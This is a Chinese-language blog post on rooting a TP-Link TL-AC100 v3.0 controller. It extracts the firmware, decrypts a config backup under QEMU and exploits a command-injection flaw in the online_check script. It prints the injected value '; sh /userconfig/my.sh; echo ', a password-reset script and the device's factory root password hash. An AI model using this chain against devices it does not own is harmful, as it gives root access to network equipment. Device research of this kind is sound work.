近日在闲鱼买了一个 TL-AC100 无线控制器,来实现 AP 的无缝漫游。ACWiFi 的一篇帖子说 v3.0 和 v4.0 的硬件一模一样,所以我就想试试将 v4.0 的固件刷到 v3.0 里面。不过,固件升级的逻辑带有签名验证,直接刷会提示失败,因此想刷机就必须先获得 root 权限。本文记载我获取 root 设备权限的过程。
从客服处索要了最新的固件版本 1.2.7。用 binwalk 工具分析固件,发现固件没有任何加密,其结构中规中矩,由 U-Boot、内核、根文件系统构成。
root@server:/home/me# binwalk TL-AC100\ V3.0_1.2.7_Build_20200526_Rel.36577n.bin Thu 03 Nov 2022 01:17:12 PM CST DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 116548 0x1C744 Certificate in DER format (x509 v3), header length: 4, sequence length: 64 124592 0x1E6B0 U-Boot version string, "U-Boot 1.1.4 (May 3 2017 - 17:00:03)" 124832 0x1E7A0 CRC32 polynomial table, big endian 154080 0x259E0 uImage header, header size: 64 bytes, header CRC: 0xEECC9DB6, created: 2020-05-26 02:09:13, image size: 1012059 bytes, Data Address: 0x80060000, Entry Point: 0x80060000, data CRC: 0x510CC1BE, OS: Linux, CPU: MIPS, image type: Multi-File Image, compression type: lzma, image name: "MIPS OpenWrt Linux-3.3.8" 154152 0x25A28 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3001036 bytes 1166203 0x11CB7B Squashfs filesystem, little endian, version 4.0, compression:xz, size: 7632640 bytes, 2601 inodes, blocksize: 262144 bytes, created: 2020-05-26 02:09:34
我们最感兴趣的肯定是 rootfs 的内容了。提取并解压 squashfs 格式的根文件系统,就可以看到其中的文件:
root@server:/home/me/squashfs-root# ls bin/ dev/ etc/ lib/ mnt/ overlay/ proc/ rom/ root/ sbin/ sys/ tmp/ userconfig/ usr/ var/ www/
进行了一番研究,该固件基于 OpenWrt 编写,配置文件系统基于 uci,Web 界面也用了自带的 luci。很自然地想到,如果能够控制配置文件,也许可以重写系统的一些关键部分,达到执行命令或写入文件的目的。
在 /usr/lib/lua/luci/controller/admin/firmware.lua
文件中,可以看到保存配置文件的逻辑,关键代码摘录如下:
function config_backup( ... ) luci.sys.exec("tar -zvcf "..BACKUP_TMP.." "..USERCONFIG_PATH.." -C / 2>&1 | tee "..FIRMWARE_UPGRADE_LOG) local enc_cmd = string.format("des_crypt -e -i %s -o %s 2>&1 |tee " ..FIRMWARE_UPGRADE_LOG,BACKUP_TMP,BACKUP_TMP) luci.sys.exec(enc_cmd) local reader = sys.ltn12_popen("cat " ..BACKUP_TMP) luci.http.header('Content-Disposition', 'attachment; filename="backup-%s-%s.bin"' % { luci.sys.hostname(), os.date("%Y-%m-%d")}) luci.http.prepare_content("application/x-bin") luci.ltn12.pump.all(reader, luci.http.write) end
以上代码显示,备份配置文件时,程序先将 USERCONFIG_PATH
目录(即 /userconfig
)下的内容使用 tar
命令压缩打包,然后用 des_crypt
命令进行“加密”操作。加密后的文件被发送到用户浏览器下载。在同一个 lua 文件中,还有还原配置文件的逻辑,其流程大致与上述流程相反。
因此,要想读取或者修改备份的配置文件,我们就需要想办法运行 des_crypt
程序,对下载后的文件进行加密解密操作。AC100 使用的 CPU 是 TP9343,这颗芯片中 CPU 为大端的 MIPS 架构核心。因为 MIPS 架构的设备比较难找到(其实我自己流片的 CPU 就是 MIPS 架构,不过是小端字节序),我们可以使用 User Mode QEMU 来模拟运行。
运行 apt install qemu-user-static
安装 QEMU,将 /usr/bin/qemu-mips-static
复制到固件根文件系统下的 /usr/bin
目录中,然后就可以 chroot
进入一个 MIPS 环境,并调用 des_crypt
命令。
root@server:/home/me/squashfs-root# cp /usr/bin/qemu-mips-static usr/bin root@server:/home/me/squashfs-root# chroot . qemu-mips-static /bin/sh BusyBox v1.22.1 (2020-05-26 10:04:31 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. / # des_crypt para error. -------------------------------------------- use des_crypt as follwing: des_crypt [-d/-e] -i [input file] -o [output file] -------------------------------------------- / #
我们在网页端备份配置,然后使用 des_crypt
命令解密配置,并用 tar
命令解压配置文件,得到了设备上的 /userconfig
目录。/userconfig
中,存放了 /etc/config
和 /www
中的一部分文件,这部分文件开机时会被复制到根目录下。/etc/config
是 OpenWrt 系统的配置文件目录,用 uci 格式存储;/www
下似乎存放了 Captive Portal 功能的 Web 页面。
接下来需要研究怎么通过修改配置文件拿到设备 shell。直接尝试用 ssh 连接设备,发现可以连通,只是密码错误。看起来设备自带了 dropbear ssh 服务器并默认启用。因此,只要能够设法修改密码,就可以进入设备。
观察发现,/etc/config
下有一个 online_check
配置文件,看起来里面配置了检查设备是否在线所使用的域名:
root@server:/home/me/extract-conf/userconfig# cat etc/config/online_check config global 'setting' option check_interval '10' list domain_name 'www.baidu.com' list domain_name 'www.qq.com'
那么,online_check
是怎么进行的呢?我们在根文件系统全局搜索 online_check
字符串,不难发现 /usr/sbin/online_check
文件,文件使用 lua 语言编写,主要内容就是读取上面配置文件,并使用 DNS 进行连接性检查。关键代码如下:
local function dns_check(domain_name) local get_ip_cmd="dnsq %s %s -t 1 2>&1 | awk '{print $1}'" % {section[".name"], domain_name} local my_ip_resolved = luci.sys.exec(get_ip_cmd) end local function online_check() local check_list_uci = uci_r:get_list(CONFIG_NAME, "setting", "domain_name") for i = 1,#check_list,1 do check_ret = dns_check(check_list[i]) end end while true do if online_check() ...
代码对于配置文件的内容没有做任何过滤,直接传给 luci.sys.exec
函数执行。经典的命令注入漏洞。我们只需要稍做手脚,就可以让这行代码执行任意我们想要的命令。修改 /etc/config/online_check
文件,加入关键的一行:
config global 'setting' option check_interval '10' list domain_name '; sh /userconfig/my.sh; echo ' list domain_name 'www.qq.com'
同时,在配置文件 /userconfig
目录中增加 my.sh
文件来修改 root 用户的密码为 123456:
#!/bin/sh echo 123456 > /tmp/1 echo 123456 >> /tmp/1 passwd < /tmp/1
使用 tar
命令将修改后的配置目录打包,然后在 QEMU 环境中使用 des_crypt
命令来“加密”配置文件,最后在设备的 Web 界面中使用“恢复系统配置”功能来恢复配置。恢复配置后,设备会自动重启,然后密码会被自动改成 123456
,我们就可以愉快用 ssh 来连接设备了。设备上的 dropbear 版本很老,只支持 sha1 哈希算法,因此必须给 ssh 命令加上选项,显式启用这个不安全的算法,才能成功连接设备。
$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@192.168.1.253 root@192.168.1.253's password: BusyBox v1.22.1 (2020-05-26 10:04:31 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. _______ ________ __ | |.-----.-----.-----.| | | |.----.| |_ | - || _ | -__| || | | || _|| _| |_______|| __|_____|__|__||________||__| |____| |__| W I R E L E S S F R E E D O M ----------------------------------------------------- BARRIER BREAKER (Barrier Breaker, r95210) ----------------------------------------------------- * 1/2 oz Galliano Pour all ingredients into * 4 oz cold Coffee an irish coffee mug filled * 1 1/2 oz Dark Rum with crushed ice. Stir. * 2 tsp. Creme de Cacao ----------------------------------------------------- root@TL-AC100:~#
值得注意的是,设备上的 /etc/shadow 文件中,自带了一个 root 密码:
$ cat etc/shadow root:$1$tHiYRbC2$zCy8uUkCeF8Rwa8p2yPKX1:16800:0:99999:7::: daemon:*:0:0:99999:7::: ftp:*:0:0:99999:7::: network:*:0:0:99999:7::: nobody:*:0:0:99999:7:::
由于密码使用 MD5 哈希,我们无法知晓密码的明文;可以肯定的是,TP-Link 内部的某位员工知道这个密码。对于任何 AC100 设备,只要能通过网络访问,就可以使用这个密码来 ssh 连接。因此,设备的安全机制可以说形同虚设。只能说,emmm。
在 v3.0 硬件上刷 v4.0 固件我还没有尝试,等有空尝试一下。对 v4.0 硬件的固件简单分析可以发现,online_check
已不再是一个脚本,变成了一个 ELF 可执行文件,因此以上所描述的 root 方法不再适用,是否存在 root 方法还有待进一步研究。
本作品使用基于以下许可授权:Creative Commons Attribution-ShareAlike 4.0 International License.